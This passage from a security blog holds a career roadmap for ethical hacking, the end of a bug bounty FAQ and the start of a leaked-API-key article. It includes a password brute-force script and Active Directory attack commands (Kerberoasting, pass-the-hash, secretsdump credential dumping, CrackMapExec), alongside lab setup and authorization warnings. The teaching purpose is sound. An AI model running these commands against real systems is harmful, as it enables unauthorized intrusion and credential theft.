out of scope except one login page, or a response window measured in months. Each of these turns your time into dead capital. Spending an hour reading the program page before you start saves days of misdirected effort. ## Frequently Asked Questions **Do I need a formal computer science degree to earn bounties?** No. Programs pay for valid findings regardless of credentials. What you need is demonstrable skill in a vulnerability class and the discipline to write a reproducible report. Many consistent earners are self-taught. A degree helps for salaried application security roles, less so for independent bounty income. **Is it legal to run recon tools against a company that has no program?** Treat the absence of a program as a no. Scanning, brute-forcing, or fuzzing a target without authorization can violate the Computer Fraud and Abuse Act in the United States, the Computer Misuse Act in the United Kingdom, and similar laws elsewhere. Safe harbor exists only inside a published program scope. If a company has a security.txt file or a vulnerability disclosure policy, follow it exactly. **How do I reduce the number of duplicates I submit?** Target fresh scope, read disclosed reports to see what has already been found, and go deeper than the surface findings a scanner produces. A bug that required understanding the application's data model is far less likely to collide than a missing security header that a template flags on every host. **Why was my valid bug marked informational?** Informational usually means the finding is real but carries no demonstrated security impact the program is willing to pay for. Missing security headers, verbose version banners, and self-XSS are the classic examples. The remedy is to either demonstrate concrete impact or move on to classes that carry weight. **Should I use automated scanners or hunt manually?** Both, in sequence. Run scanners to inventory the attack surface and catch commodity issues quickly, then spend your hours on the manual analysis that scanners cannot do: access control logic, business rules, and chained vulnerabilities. The money is in the manual work because that is the work most people skip. **How long before I make my first valid submission?** Plan for twenty to forty hours of focused work before your first accepted finding, and three to six months before income is meaningful. The researchers who quit almost always quit in the first month, before the learning compounds. **Can I do bug bounty part-time alongside a job?** Yes, and most people start that way. Part-time hunting rewards a narrow focus. Pick one program and one vulnerability class, run a scheduled recon pipeline, and check for new surface weekly. Depth on a single target beats shallow sweeps across many. ## Related guides - [OWASP Top 10 Explained](/owasp-top-10-explained) - [OSINT Reconnaissance](/osint-reconnaissance-guide) - [SQL Injection Explained](/sql-injection-explained) - [Cross-Site Scripting (XSS)](/xss-attacks-explained) - [How to Become an Ethical Hacker](/how-to-become-ethical-hacker) ### Sources - HackerOne Hacker101 (HackerOne): https://www.hackerone.com/hackers/hacker101 - OWASP Testing Guide (OWASP): https://owasp.org/www-project-web-security-testing-guide/ - CVSS v3.1 Specification (FIRST): https://www.first.org/cvss/v3.1/specification-document --- ## How to Become an Ethical Hacker: The Complete Roadmap > Ethical hacking is one of the highest-demand careers in tech. Here's the realistic path from zero to your first pentesting job. - URL: https://blog.pwnsy.com/how-to-become-ethical-hacker - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: beginner - Category: bug-bounty - Tags: ethical-hacking, penetration-testing, career, certifications, bug-bounty - Related: [Best Cybersecurity Certifications & Courses in 2026](https://blog.pwnsy.com/best-cybersecurity-certifications), [The Bug Bounty Economy: Platforms, Triage & Payouts](https://blog.pwnsy.com/bug-bounty-economy-explained), [Coordinated Vulnerability Disclosure: From Finding to Fix](https://blog.pwnsy.com/coordinated-vulnerability-disclosure-explained) ### TL;DR - Build networking, Linux, and Python fundamentals before touching offensive tools, skipping foundations is why most beginners fail. - Practice legally on purpose-built labs: Hack The Box, TryHackMe, and your own VMs; never test systems you don't own. - OSCP is the industry-standard entry certification for penetration testing jobs; CEH is not respected by practitioners. - Bug bounty programs (HackerOne, Bugcrowd) provide legal, real-world targets and income while building a portfolio. ### Key Takeaways - All penetration testing requires written authorization; a Statement of Work or Rules of Engagement is what separates ethical hacking from criminal activity. - Networking, Linux command-line proficiency, and Python scripting are non-negotiable prerequisites before learning offensive techniques. - Active Directory attacks (Kerberoasting, BloodHound, Pass-the-Hash) are central to most enterprise penetration tests. - OSCP from Offensive Security is the most respected entry-level certification because it requires passing a 24-hour hands-on exam. - Red teaming is senior-level work (5+ years) that simulates full adversarial campaigns against people, processes, and technology. The global cybersecurity workforce gap sits at approximately 4 million unfilled positions as of 2025. Penetration testing specifically is among the most undersupplied roles, companies can't find people with the hands-on skills. Job listings sit open for months. The supply/demand dynamics are brutal in your favor if you can actually do the work. The problem is that most people trying to break into the field do it wrong. They stack certifications without building skills. They watch YouTube tutorials without practicing. They skip foundational networking and operating system concepts and then wonder why they can't follow along in a real engagement. Six months later they've spent $5,000 on courses and certifications and can't enumerate a basic Active Directory environment. This guide is the roadmap that actually works. It's built around building skills in the correct order, validated against real job requirements and the experiences of people who've made the transition. Assembling your pentesting toolkit? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com). ## What Ethical Hacking Actually Involves Ethical hacking (the professional term is penetration testing or red teaming), is the authorized simulation of attacks against computer systems, networks, or applications to identify vulnerabilities before malicious actors do. The legal distinction from criminal hacking is a written contract. A penetration tester operates under a Statement of Work or Rules of Engagement document that defines: which systems can be tested, what attack techniques are permitted, what the deliverable is, and the timeline. Outside those boundaries, the activity is criminal regardless of intent. The authorization is everything. ### Day-to-Day Reality **Web application pentesting:** You receive scope (a set of URLs or wildcard domains), enumerate the attack surface, identify vulnerabilities (injection flaws, broken access control, authentication bypasses, business logic issues), exploit them to demonstrate impact, and write a professional report. The report is delivered to the client's development team and security leadership. The technical work and the writing are equally important. **Infrastructure/network pentesting:** You receive an IP range or a set of credentials for a "assume breach" internal assessment. You scan, identify running services, look for known vulnerabilities, exploit misconfigurations, demonstrate lateral movement through the network, and attempt to reach defined objectives (domain controller, specific databases, sensitive file shares). **Active Directory assessments:** A significant portion of enterprise pentesting involves attacking Windows domain environments. This means Kerberoasting, Pass-the-Hash, AS-REP Roasting, BloodHound enumeration, abusing LAPS misconfigurations, delegation attacks, and ultimately Domain Compromise. AD security is a specialty within the specialty. **Red teaming:** Full adversarial simulation against an organization's people (phishing), processes (security monitoring), and technology (network and endpoint controls). Red team operations run for weeks or months, use real-world attacker tradecraft, and test whether the security team can detect and respond to a sophisticated intrusion. This is senior-level work requiring 5+ years of experience. **What the job is not:** Sitting at a terminal watching code run. Hacking into random systems. Producing a Nessus scan report and calling it a pentest. Real penetration testing is intellectually demanding, requires significant preparation for each engagement, and demands strong communication skills: you're explaining technical vulnerabilities to both technical and executive audiences. --- ## The Technical Foundation: What You Actually Need ### Networking: Non-Negotiable You cannot attack what you don't understand. Networking is the substrate everything else runs on. Without it, you can run tools but you can't understand or troubleshoot what they're doing. **Topics you must know well:** - TCP/IP model, how packets are assembled, routed, and delivered - The three-way handshake (SYN, SYN-ACK, ACK) and what deviations from it indicate - UDP vs TCP, when each is used, what services run on which - DNS, recursive resolution, DNS zones, zone transfers, how subdomain enumeration works - HTTP/1.1 and HTTP/2, request structure, headers, cookies, the request-response cycle, TLS handshake - SMB, FTP, SSH, SMTP, LDAP, what they do, how they're configured, common misconfigurations - Subnetting and CIDR notation, understanding that 192.168.1.0/24 represents 254 usable hosts is basic; being able to subnet on paper matters for understanding network architecture - NAT, VLANs, firewalls, how network segmentation is implemented and why it matters for lateral movement **How to build it:** Cisco's free CCNA learning materials, Professor Messer's CompTIA Network+ course (free on YouTube), and critically, Wireshark. Capture traffic on your home network. Understand what a DNS query looks like, what a TCP handshake looks like, what TLS negotiation looks like. Seeing protocols in packet form is worth more than reading about them. ```bash # Capture and analyze traffic in Wireshark # Or with tshark from the command line: # Capture all traffic on eth0 tshark -i eth0 -w capture.pcap # Analyze DNS queries in a capture tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name # Analyze HTTP traffic tshark -r capture.pcap -Y "http" -T fields -e http.request.method -e http.request.uri # Filter for a specific IP tshark -r capture.pcap -Y "ip.addr == 192.168.1.100" # Follow a TCP stream (reassemble the conversation) tshark -r capture.pcap -q -z follow,tcp,ascii,0 ``` ### Linux Command Line: Intermediate to Advanced Kali Linux is the standard pentesting distribution. It runs on Linux. Every tool you'll use runs on Linux or has a Linux version. Being uncomfortable at the terminal means being slow, frustrated, and ineffective. You need to reach the level where you never have to think about basic operations, file navigation, permissions, process management, networking commands, text processing. They should be reflex. ```bash # Core competencies to develop: # File operations ls -la /var/log/ # list with permissions, hidden files find / -name "*.conf" -readable 2>/dev/null # find readable config files chmod 755 script.sh # set file permissions chown root:root file # change ownership # Network ip addr show # network interfaces and IPs ss -tulnp # open sockets (replaces netstat) nmap -sV -sC localhost # scan your own machine to learn output format curl -v https://example.com # HTTP request with verbose output wget -q https://example.com/file # download file # Text processing (critical for parsing tool output) cat /etc/passwd | cut -d: -f1 # extract usernames grep -r "password" /var/log/ 2>/dev/null # search files recursively cat hosts.txt | sort -u # sort and deduplicate cat nmap_output.txt | awk '/open/{print $1}' # extract open ports # Process management ps aux | grep python # find python processes kill -9 PID # force kill a process ./exploit.py & # run in background nohup ./scan.sh > output.log 2>&1 & # run disconnected from terminal ``` **Setup your learning environment:** ```bash # Install VirtualBox and create a Kali Linux VM # Download Kali Linux from kali.org (official pre-built VMs available) # Allocate: 4GB RAM minimum, 8GB recommended; 60GB disk; 2 CPU cores # Or use WSL2 on Windows for a lighter setup: wsl --install -d kali-linux # Install essential tools sudo apt update && sudo apt install -y \ nmap nikto gobuster ffuf sqlmap \ python3-pip git curl wget john hashcat \ burpsuite wireshark netcat-openbsd \ metasploit-framework ``` ### Python: The Exploitation Language You don't need to be a software engineer. You need to be able to read Python code, understand what it does, modify it to fit your target, and write simple scripts to automate tasks. **Specifically:** - Understanding function calls, loops, conditionals, and list/dict operations - Reading network socket code: many exploits open raw TCP connections - Making HTTP requests with the `requests` library - Parsing JSON and XML responses - Writing a script that loops through a wordlist and makes requests - Modifying a public PoC exploit to fix a hardcoded IP or add error handling ```python # Example: simple brute-force HTTP login (educational - use only on authorized targets) import requests import sys TARGET = "http://vulnerable-target.local/login" USERNAME = "admin" WORDLIST = "/usr/share/wordlists/rockyou.txt" session = requests.Session() with open(WORDLIST, 'r', encoding='latin-1') as f: for password in f: password = password.strip() response = session.post(TARGET, data={ 'username': USERNAME, 'password': password, }, timeout=5) if 'Invalid credentials' not in response.text and response.status_code == 200: print(f"[+] Found password: {password}") sys.exit(0) else: print(f"[-] Trying: {password}", end='\r') print("\n[-] Password not found in wordlist") ``` ```python # Example: port scanner using raw sockets import socket import sys import concurrent.futures def scan_port(host: str, port: int) -> tuple[int, bool]: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.5) result = sock.connect_ex((host, port)) sock.close() return port, result == 0 def scan_host(host: str, port_range: range): open_ports = [] with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor: futures = {executor.submit(scan_port, host, port): port for port in port_range} for future in concurrent.futures.as_completed(futures): port, is_open = future.result() if is_open: open_ports.append(port) print(f"[+] {host}:{port} OPEN") return sorted(open_ports) if __name__ == '__main__': target = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' scan_host(target, range(1, 10001)) ``` ### PowerShell: For Windows Environments Enterprise environments are overwhelmingly Windows-based. Active Directory, Windows Server, Windows workstations. PowerShell is the dominant scripting language in Windows environments and the primary tool for living-off-the-land techniques. ```powershell # Basic AD enumeration (run on a domain-joined Windows machine) # Get all users in the domain Get-ADUser -Filter * -Properties * | Select-Object Name, Enabled, LastLogonDate, PasswordLastSet # Get members of the Domain Admins group Get-ADGroupMember -Identity "Domain Admins" -Recursive # Find computers with unconstrained delegation (Kerberoasting prerequisite) Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation # Enumerate SPNs for Kerberoasting Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName # Port scan using only built-in PowerShell (no tools) 1..1024 | ForEach-Object { $tcp = [System.Net.Sockets.TcpClient]::new() $result = $tcp.BeginConnect('192.168.1.1', $_, $null, $null) if ($result.AsyncWaitHandle.WaitOne(100)) { Write-Host "Port $_ is open" } $tcp.Close() } ``` --- ## The Learning Platforms ### TryHackMe: Start Here TryHackMe is the correct starting point for beginners. It's browser-based (no local VM setup required initially), guided, and structured from beginner to advanced. The "Jr Penetration Tester" learning path is specifically designed as a curriculum to get someone job-ready in web and network pentesting fundamentals. **Recommended TryHackMe paths in order:** 1. **Pre-Security**, networking, web fundamentals, Linux basics 2. **Jr Penetration Tester**, web pentesting, Metasploit, privilege escalation, Active Directory basics 3. **Red Teaming**, phishing, C2 frameworks, host evasion Complete rooms, not just subscribe. The rooms that require you to actually exploit the machine are the learning. Watching the videos without doing the lab is watching someone else learn. ### Hack The Box: The Real Test HTB is where you find out if you've actually internalized the concepts. The machines are significantly less guided than TryHackMe. You get a target IP and have to figure out the rest. **Starting methodology:** ```bash # Standard initial enumeration on any HTB machine # 1. Nmap scan nmap -sC -sV -oA initial_scan -p- --min-rate 5000 TARGET_IP # -sC: default scripts (version detection, basic vuln checks) # -sV: version detection # -oA: save in all formats # -p-: all 65535 ports # --min-rate 5000: faster scan (acceptable on CTF environments) # 2. Web enumeration (if HTTP found) gobuster dir -u http://TARGET_IP -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40 ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \ -u http://TARGET_IP/FUZZ -mc 200,301,302,403 -t 40 # 3. Service enumeration # SMB smbclient -L //TARGET_IP -N enum4linux-ng TARGET_IP # FTP (check anonymous login) ftp TARGET_IP # try anonymous / anonymous # SMTP nc TARGET_IP 25 VRFY admin # check if user enumeration is possible ``` Work through retired Easy machines on HTB. The official writeups aren't available, but community writeups (IppSec's YouTube channel is the gold standard) are posted after machines retire. **Watch the writeup only after you've spent at least 3 hours trying to solve it yourself.** The struggle is the learning. ### PortSwigger Web Security Academy For web application testing specifically, the PortSwigger Web Security Academy is the definitive free resource. It covers every major web vulnerability class with labs you can complete in-browser, from beginner to advanced. **The learning path that maps directly to bug bounty and web pentest work:** 1. SQL Injection (all labs) 2. Authentication (all labs), especially password reset flaws and MFA bypass 3. XSS (all labs), reflected, stored, DOM-based 4. CSRF 5. Clickjacking 6. Path Traversal 7. Command Injection 8. Business Logic Vulnerabilities 9. Access Control (IDOR and privilege escalation) 10. SSRF 11. XXE Injection 12. OAuth Authentication Complete the "Professional Labs" (the hardest difficulty) before claiming you're web application pentest ready. ### VulnHub and Other Practice Environments ```bash # Other intentionally vulnerable systems for practice: # DVWA (Damn Vulnerable Web Application) — beginner web app testing docker run --rm -it -p 80:80 vulnerables/web-dvwa # Metasploitable 2/3 — intentionally vulnerable Linux VM # Download from SourceForge, run in VirtualBox # OWASP WebGoat — guided web vulnerability training docker run -p 8080:8080 webgoat/goatandwolf:latest # Vulhub — thousands of vulnerable Docker environments for specific CVEs git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-052 docker-compose up -d # Now test CVE-2017-9805 against a real vulnerable Struts2 instance ``` --- ## Certifications: What Actually Matters The certification landscape is full of expensive, multiple-choice-heavy credentials that look impressive on paper but prove nothing about hands-on ability. Technical hiring managers at serious security firms know the difference. For a wider breakdown of which credentials and training platforms are worth your money, see our guide to the [best cybersecurity certifications & courses](/best-cybersecurity-certifications). ### The Ones That Matter **OSCP (Offensive Security Certified Professional)**: the industry benchmark. The exam is 24 hours: you receive access to an isolated lab network containing machines you must compromise. You earn points for each machine you pwn, and you must earn 70 points to pass. There is no multiple-choice component. The exam is pass/fail based entirely on demonstrated exploitation skill. The accompanying PWK (Penetration Testing with Kali Linux) course is comprehensive and the lab environment is realistic. Cost (as of 2025): approximately $1,499 for the exam + 90 days of lab access. Preparation time: 3-6 months of dedicated practice after reaching HTB/THM intermediate level. OSCP is the single certification that most reliably opens doors at reputable security consulting firms. It signals that you can actually hack things, not just pass multiple-choice tests. **PNPT (Practical Network Penetration Tester)**, TCM Security's practical certification. Less prestigious than OSCP but more accessible, cheaper ($400), and practically focused. The exam is a 5-day black-box network assessment followed by a professional report. Strong preparation for OSCP. **eJPT (eLearnSecurity Junior Penetration Tester)**: a good entry-level practical credential. $200, requires demonstrating actual assessment skills in a simulated environment. Worth getting before OSCP as a confidence check. **BSCP (Burp Suite Certified Practitioner)**, PortSwigger's web application pentesting certification. Requires passing two lab-based web security challenges. Highly relevant for web app pentesting specialists. $99. ### Certifications With Limited Value for Security Firms **CEH (Certified Ethical Hacker)**, primarily multiple-choice. EC-Council markets it aggressively. It proves you can memorize definitions, not that you can pentest. Many government and enterprise job listings require it for compliance reasons, not because it proves skill. If a job you want lists it as a requirement, get it. Otherwise, spend the money and time on OSCP prep. **CompTIA Security+**, entry-level, required for many government and DoD contractor positions (it satisfies DoD 8570 requirements). Low technical bar but a mandatory checkbox for certain hiring contexts. If you're targeting government/defense work, get it. For commercial security firms, it's not what they're looking at. **CompTIA PenTest+**, better than Security+ for hands-on orientation, but still not as respected as OSCP or PNPT in commercial security. ### Certification Cost Comparison | Certification | Cost (2025) | Exam Format | Industry Respect | Best For | |---|---|---|---|---| | OSCP | ~$1,499 | 24-hr practical | Very High | Commercial pentest firms | | PNPT | ~$400 | 5-day practical | High | Beginners, OSCP prep | | BSCP | ~$99 | Lab practical | High (web) | Web app specialists | | eJPT | ~$200 | Lab practical | Medium | Entry-level | | OSEP | ~$1,499 | 48-hr practical | Very High | Red team/evasion | | CEH | ~$1,000+ | Multiple choice | Low-Medium | Government compliance only | | Security+ | ~$370 | Multiple choice | Low-Medium | DoD/government work | --- ## Active Directory Attack Techniques AD is the backbone of most enterprise environments and the primary target in network pentesting. Learn these before applying to most pentesting positions. ```bash # BloodHound — graph-based AD attack path finder # Run the collector on a domain-joined machine: ./SharpHound.exe -c All --zipfilename bloodhound_data.zip # Or from Linux with a low-privilege domain account: bloodhound-python -u user -p password -ns 192.168.1.10 -d domain.local -c All # Import collected data into BloodHound GUI # Look for: shortest path to Domain Admins, Kerberoastable accounts, unconstrained delegation # Kerberoasting — request service tickets for accounts with SPNs, crack them offline GetUserSPNs.py domain.local/user:password -dc-ip 192.168.1.10 -request -outputfile kerberoast_hashes.txt # Crack the tickets: hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force # AS-REP Roasting — for accounts with pre-auth disabled GetNPUsers.py domain.local/ -usersfile userlist.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep_hashes.txt hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force # Pass-the-Hash — authenticate using NTLM hash instead of password # (requires obtaining the hash first via Mimikatz or secretsdump) evil-winrm -i 192.168.1.10 -u Administrator -H "NTLM_HASH_HERE" # secretsdump — extract credentials from domain controller secretsdump.py domain.local/Administrator:password@192.168.1.10 # CrackMapExec — network authentication testing and lateral movement crackmapexec smb 192.168.1.0/24 -u administrator -H "NTLM_HASH" crackmapexec smb 192.168.1.0/24 -u administrator -p password --shares ``` These techniques are for authorized penetration testing only. Running Kerberoasting, Pass-the-Hash, or BloodHound against a network you don't own or have written permission to assess is a federal crime in the US and equivalent in most other jurisdictions. Practice exclusively in your own lab or on authorized platforms like HTB/THM. --- ## Building a Home Lab Practical skills require practice environments. Setting up a home lab removes your dependence on external platforms and lets you experiment with techniques that are too intrusive for cloud-based labs. ```bash # Minimum home lab setup: # - Hypervisor: VMware Workstation Pro (free tier available) or VirtualBox (free) # - Attacking machine: Kali Linux # - Target Windows: Windows Server 2019/2022 evaluation (free from Microsoft) # - Target Linux: Metasploitable 3 (intentionally vulnerable) # - Network: Host-only network adapter in the hypervisor # Hardware requirements: # - 16GB RAM minimum (8GB for host, 4GB each for two VMs simultaneously) # - 200GB free disk space # - CPU with virtualization support (Intel VT-x or AMD-V) # Set up an Active Directory lab: # 1. Install Windows Server 2022 VM (download evaluation ISO from Microsoft) # 2. Install Active Directory Domain Services role # 3. Promote to domain controller # 4. Add 2-3 Windows 10/11 evaluation VMs as domain-joined workstations # 5. Create vulnerable users: disable Kerberos pre-auth for some accounts, # assign SPNs to service accounts, add admin accounts with common passwords # 6. Install BloodHound on the Kali VM, run SharpHound on the DC # 7. Practice the entire AD attack path: initial compromise → BloodHound → Kerberoast → lateral movement → DC compromise ``` ```powershell # Quick AD lab setup script (run on Windows Server after promoting to DC) # Creates intentionally vulnerable users for practice # Create a user vulnerable to AS-REP Roasting New-ADUser -Name "ServiceAccount" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true Set-ADAccountControl -Identity "ServiceAccount" -DoesNotRequirePreAuth $true # Create a user with an SPN (Kerberoasting target) New-ADUser -Name "SQLService" -AccountPassword (ConvertTo-SecureString "MysecretPassw0rd" -AsPlainText -Force) -Enabled $true Set-ADUser -Identity "SQLService" -ServicePrincipalNames @{Add="MSSQLSvc/SQL01.domain.local:1433"} # Create a domain admin with a weak password (never do this in production) New-ADUser -Name "BackupAdmin" -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) -Enabled $true Add-ADGroupMember -Identity "Domain Admins" -Members "BackupAdmin" ``` --- ## Salary Reality: 2026 Market These ranges are from actual job postings and industry salary surveys as of early 2026: **Junior Penetration Tester (0-2 years)** - Security consulting boutiques: $65,000 - $85,000 - Big 4 advisory (cybersecurity practice): $75,000 - $95,000 - In-house security teams at tech companies: $90,000 - $115,000 - Government/defense contractors with clearance: $85,000 - $110,000 **Mid-level (2-5 years, OSCP required by most listings)** - $95,000 - $145,000 depending on specialization and geography - Remote roles from smaller firms: $90,000 - $130,000 **Senior/Lead Pentester (5+ years)** - $130,000 - $185,000 employed - Independent consulting: $150-$350/hour (requires client acquisition skills) **Specialization premiums (above base senior rates):** - Red team operator: $15,000-$30,000 premium - Cloud security (AWS/Azure/GCP pentesting): $20,000-$40,000 premium - ICS/SCADA/OT security: $20,000-$45,000 premium - Hardware/embedded systems: $20,000-$50,000 premium Remote work is near-universal in this field. Many firms are fully remote. This expands the talent market nationally rather than locally, which benefits candidates willing to compete on skill rather than geography. --- ## The Mistakes That Kill Careers Before They Start **Getting OSCP (or any certification) before building foundational skills.** The PWK course is tough. Going into it without solid networking, Linux, and scripting skills results in failure, discouragement, and wasted money. OSCP prep should begin after completing HTB Easy machines consistently and TryHackMe's Jr Pentester path. **Certification stacking as a substitute for skill.** A resume with OSCP, CEH, Security+, PNPT, CompTIA CySA+, and zero labs completed will lose to a resume with just OSCP and a GitHub profile showing active CTF participation. Hiring managers at quality firms test candidates. The certifications get you through HR screening; the interview reveals whether you can actually do the work. **Skipping report writing practice.** The deliverable in commercial pentesting is the report. If you can't communicate your findings clearly, in writing, to both technical and executive audiences, you cannot do the job. Write reports for every machine you compromise in your lab. Treat them like real client deliverables. **Not building a portfolio.** CTF writeups published on a personal blog, HTB/THM profile links, a GitHub with custom scripts or automation tools, bug bounty acknowledgments: these differentiate candidates. A hiring manager scrolling through your GitHub profile tells them more than a 60-minute interview. **Testing without understanding.** Running Metasploit against a machine and getting a shell teaches you that Metasploit works. It doesn't teach you why the exploit works, what vulnerability it's exploiting, or what you'd do if the exploit didn't work. When you successfully exploit something, stop and understand the mechanism before moving on. --- ## Where to Start Right Now If you're starting from zero, execute this in order: no shortcuts: **Week 1:** Create TryHackMe account. Start the "Pre-Security" path. Complete every room. Set up VirtualBox and a Kali Linux VM this week. **Week 2-4:** Complete TryHackMe "Jr Penetration Tester" path. Take notes on every vulnerability class covered. Set up DVWA locally and test each vulnerability type against a real-but-safe target. **Month 2-3:** Create a Hack The Box account. Start with Starting Point machines. Move to Easy retired machines. Watch IppSec's walkthroughs only after spending 3+ hours on each machine yourself. Complete PortSwigger Web Security Academy SQL injection and XSS modules. **Month 3-6:** Build your home AD lab. Practice the AD attack path from BloodHound through Domain Compromise. Obtain eJPT. Continue HTB, targeting Medium machines. **Month 6-12:** Prepare for OSCP. Purchase the PWK course. Complete all course material and lab exercises. Build your exam-day methodology. Attempt OSCP. **Month 12+:** Apply to junior pentesting positions with OSCP in hand and a body of work (HTB/THM profiles, CTF writeups, bug bounty acknowledgments). Be prepared to demonstrate skills in technical interviews. The path is 12-18 months of focused work before you're employable at entry level. That's the realistic timeline. Anyone selling you a faster path is selling you something that doesn't produce the actual skills the job requires. The people who successfully make this transition are disciplined, patient, and relentlessly practical. They spend more time doing than watching. They track their progress and fill gaps methodically. They treat it like training for a professional sport, not like watching educational content. Start now. Don't wait until you feel ready: you never will. ## How the Pentesting Field Matured Offensive security was once an informal craft. In the 1990s and early 2000s, the people doing this work were largely self-taught, learning from mailing lists, IRC channels, and the source code of the exploits they traded. There was no standard certification, no agreed methodology, and little separation between researchers who disclosed responsibly and those who did not. Companies that wanted a security test often hired whoever had a reputation, and the deliverable varied wildly. Three developments professionalized the field. Structured methodologies arrived, with the OWASP Testing Guide, the Penetration Testing Execution Standard, and the MITRE ATT&CK framework giving practitioners a shared vocabulary and a repeatable process. Practical certifications, led by OSCP, created a credential that actually correlated with hands-on ability rather than memorization. And bug bounty platforms opened a legal, paid path for newcomers to build a track record on real targets without a consulting job. The result is a field with clear entry points and a recognized skills ladder, which is why a disciplined beginner can now plan a route from zero to employable in a way that was not possible two decades ago. ## Specializations Compared Penetration testing is not one job. As you gain experience, you tend to specialize, and the specializations differ in demand, learning curve, and pay premium. The table below sketches the common tracks. | Specialization | Core skills | Learning curve | Demand | |---|---|---|---| | Web application | HTTP, injection, access control, auth flows | Moderate | Very high | | Internal network / Active Directory | Windows, Kerberos, lateral movement | Steep | High | | Cloud (AWS, Azure, GCP) | IAM, metadata attacks, misconfiguration | Moderate to steep | Rising fast | | Mobile (iOS, Android) | App internals, API testing, reversing | Steep | Moderate | | Red team operations | Evasion, C2, social engineering | Very steep | Senior only | | Hardware and embedded | Firmware, bus protocols, physical access | Very steep | Niche, high pay | Most people start in web application testing because the learning resources are the strongest and the practice targets are free and plentiful. Active Directory and cloud are the two tracks where enterprise demand is heaviest, so adding one of them to a web foundation makes you broadly employable. Red team and hardware work are senior destinations that reward years of prior experience rather than a starting point. ## Reading an Engagement: The Phases of a Pentest Knowing the shape of a real engagement helps you practice the right things. Every professional test moves through recognizable phases. Scoping and authorization come first, where the client and tester agree in writing which systems are in scope, which techniques are permitted, and what the objectives are. Skipping this step is what separates a legal test from a crime, so it is never optional. Reconnaissance and enumeration follow, mapping the attack surface and identifying running services, versions, and likely weak points. Exploitation comes next, where the tester turns a suspected weakness into demonstrated access, always stopping at proof rather than causing damage. Post-exploitation explores what that access unlocks: lateral movement, privilege escalation, and reaching the objectives defined in scope. The final phase, and the one beginners most often neglect, is reporting. The client pays for a document that explains each finding, its impact, the steps to reproduce it, and a concrete remediation. A tester who can compromise a network but cannot write a clear report is only half qualified, which is why practicing report writing on every lab machine matters as much as the exploitation itself. ## Frequently Asked Questions **Can I get a pentesting job without a degree?** Yes. This is one of the more credential-flexible technical fields, and hiring managers at quality firms weigh demonstrated skill heavily. A strong OSCP, a visible body of work such as lab profiles and writeups, and the ability to perform in a technical interview outweigh the absence of a degree for most consulting roles. A degree still helps for some corporate and government positions with fixed requirements. **How long does it realistically take to become employable?** Plan for twelve to eighteen months of focused, hands-on work from a standing start. That covers building networking, Linux, and scripting foundations, working through guided and unguided lab platforms, building a home lab for Active Directory practice, and earning a respected practical certification. Anyone promising a faster path is usually selling a shortcut that skips the skills the job requires. **Is ethical hacking legal?** It is legal only with written authorization for the specific systems being tested. A Statement of Work or Rules of Engagement document defines the boundary, and any activity outside that boundary is a crime regardless of intent. Practice must happen on systems you own or on platforms that grant explicit permission, such as Hack The Box, TryHackMe, and formal bug bounty programs. **Do I need to be good at programming?** You need to read code fluently, modify existing scripts to fit a target, and write simple automation. You do not need to be a professional software engineer. Comfort with Python covers most exploitation and tooling needs, and PowerShell becomes important once you work in Windows and Active Directory environments. **Which certification should I get first?** Start with an accessible practical credential such as eJPT or PNPT to confirm your foundations, then target OSCP as the certification that most reliably opens doors at commercial security firms. Multiple-choice certifications like CEH carry weight mainly where a job posting or government contract requires them, so pursue those only when a specific role demands it. **What is the difference between penetration testing and red teaming?** A penetration test aims to find as many vulnerabilities as possible within a defined scope and time, and the client's team usually knows it is happening. A red team operation simulates a real adversary against people, processes, and technology, often without the defenders knowing, and it measures whether the organization can detect and respond. Red teaming is senior work that builds on years of penetration testing experience. ## Related guides - [OWASP Top 10 Explained with Examples](/owasp-top-10-explained) - [SQL Injection Explained: How It Works and How to Stop It](/sql-injection-explained) - [Cross-Site Scripting (XSS): Attack Types and Prevention](/xss-attacks-explained) - [OSINT Reconnaissance: Tools and Techniques](/osint-reconnaissance-guide) - [Bug Bounty Hunting: Getting Started](/bug-bounty-getting-started) ### Sources - OWASP Testing Guide (OWASP): https://owasp.org/www-project-web-security-testing-guide/ - MITRE ATT&CK Framework (MITRE): https://attack.mitre.org/ - NIST NICE Cybersecurity Workforce Framework (SP 800-181) (NIST): https://csrc.nist.gov/publications/detail/sp/800-181/rev-1/final --- # Category: web-security ## Leaked API Keys Explained: How Secrets Leak and What to Do > How API keys and tokens leak through git, logs, images and laptops, what attackers do with them, and the first-hour response that revokes them. - URL: https://blog.pwnsy.com/leaked-api-keys-explained - Date: 2026-10-07 - Updated: 2026-10-07 - Difficulty: intermediate - Category: web-security - Tags: secrets-management, api-keys, appsec, incident-response, devsecops - Related: [Terraform Security Checklist: 12 Settings Behind Cloud Breaches](https://blog.pwnsy.com/terraform-security-checklist), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - An API key or token is a password for software. Whoever holds it acts as your account, usually with no MFA and no alert to you. - Keys leak through commits and their history, container images, frontend bundles, CI logs, chat and tickets, Terraform state, and infostealer malware on developer laptops. - The fix is to revoke or rotate the key at the provider first. Deleting the file or the commit does not invalidate a key that has already been copied. - Prevention stacks: pre-commit and push-time scanning, a secret manager, short-lived credentials from OIDC instead of static keys, and redacting logs before they are shared. ### Key Takeaways - GitGuardian scanned 69.6 million public repositories in 2024 and found a secret in at least 4.61% of them. - GitGuardian also found that 70% of the secrets leaked in 2022 were still valid when it published its 2025 report, so most leaked keys stay valid for years. - When AWS finds an access key exposed publicly, it can attach the AWSCompromisedKeyQuarantineV3 managed policy to the IAM 